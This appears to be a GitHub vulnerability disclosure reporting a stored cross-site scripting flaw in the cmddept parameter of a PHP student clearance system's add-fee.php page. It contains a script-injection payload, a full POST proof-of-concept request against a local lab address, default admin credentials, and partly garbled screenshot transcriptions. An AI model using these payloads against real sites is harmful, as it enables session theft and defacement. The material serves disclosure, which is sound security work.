

main ▾

...

CVE_Hunter / XSS-2.md



Tr0e Create XSS-2.md

[History](#)

1 contributor

53 lines (36 sloc) | 2.58 KB

...

Vulnerability Description

[Web-Based Student Clearance System v1.0](#) was discovered to contain a cross-site scripting (XSS) vulnerability via the add-fee.php. It is an open source project from <https://www.sourcecodester.com/>. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

1. BUG_Author: Tr0e
2. vendors: [Web-Based Student Clearance System in PHP Free Source Code](#);
3. The program is built using the xampp/v3.3.0 and PHP/8.1.10 version;
4. Vulnerability location: /student_clearance_system_Aurthur_Javis/admin/add-fee.php

Vulnerability Verification

[+] Payload:

```
"><script>alert(1)</script>
```

POC:

POST http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fee.ph
Host: 192.168.0.111:91
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fe
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc
Connection: close

cmdsession=2020%2F2021&cmdfaculty=Select+faculty&cmddept=%22%3E%3Cscript%3Ealert%281



How to verify

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability is located at the "Fee Management - Add Fee" function, you should insert Payload when you add new file, as shown in the following figure:

The screenshot displays the Arthur Jarvis University Admin Dashboard. The left sidebar contains navigation links: Dashboard, User Management, Student Management, Fee Management (selected), Add Fee, Payment History, Change Password, Logout, and Switch To Student. The main content area shows the 'Add New Fee' form with fields for Session (2020/2021), Faculty (Science), Department (Computer Science), and Amount (NGN) (20000). An 'Add' button is at the bottom. To the right, a 'Fee Structure' table lists existing fees.

#	Faculty	Department	Session	Amount	Action
1	Science	Computer Science	2020/2021	NGN100,000.00	Action

Below the dashboard, a network request is shown. The 'Request' tab displays the raw data of a POST request to `http://192.168.0.111:91/student_clearance_system_Arthur_Javis/admin/add-fee.php`. The request body contains a payload that inserts a new fee record into the database. The payload is highlighted with a red box and an arrow pointing to the 'Add' button in the dashboard above.

```
POST http://192.168.0.111:91/student_clearance_system_Arthur_Javis/admin/add-fee.php HTTP/1.1
Host: 192.168.0.111:91
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111:91/student_clearance_system_Arthur_Javis/admin/add-fee.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rbcvngjbbad1b1bb62mkgac
Connection: close

cmdsession=2020/2021&cmdfaculty=Select%20faculty%20dept=42%3B%3Cscript%3Balert%281%3B%3C%3Fscript%3Bdocument=2000&trndd=
```

The 'Response' tab shows the server's response, which is an HTML page with a confirmation dialog box: "ARE YOU SURE YOU WISH TO DELETE THIS FEE ?".

192.168.0.111:91 显示

1

确定



EKE, EMMANUEL EFA-EVAL

Search

Dashboard

User Management

Student Management

Fee Management



Home

Search



Add New Fee

Session

2020/2021

Faculty

Select faculty

Department

Select Department

Fee Structure

#	Faculty	Department	Session	Amount	Action
1	Science	Computer Science	2020/2021	NGN100,000.00	Action
2	Select faculty	">	2020/2021	NGN2,000.00	Action

192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/index.php

元素 控制台 Recorder Performance insights Lighthouse 源代码 网络 性能 内存 应用 安全

```
<tbody>
  <tr class="gradeX"></tr>
  <tr class="gradeX">
    <td height="47"></td>
    <td></td>
  </tr>
  <tr>
    <td align="center">== $0
    <script>alert(1)</script>
  </td>
  <td></td>
</tr>
```

样式 计算样式 布局

过滤 :hov .cls +

```
element.style {
}
::after, ::before {
  box-sizing: border-box;
}
div[默认样式] {
  text-align: -webkit-center;
```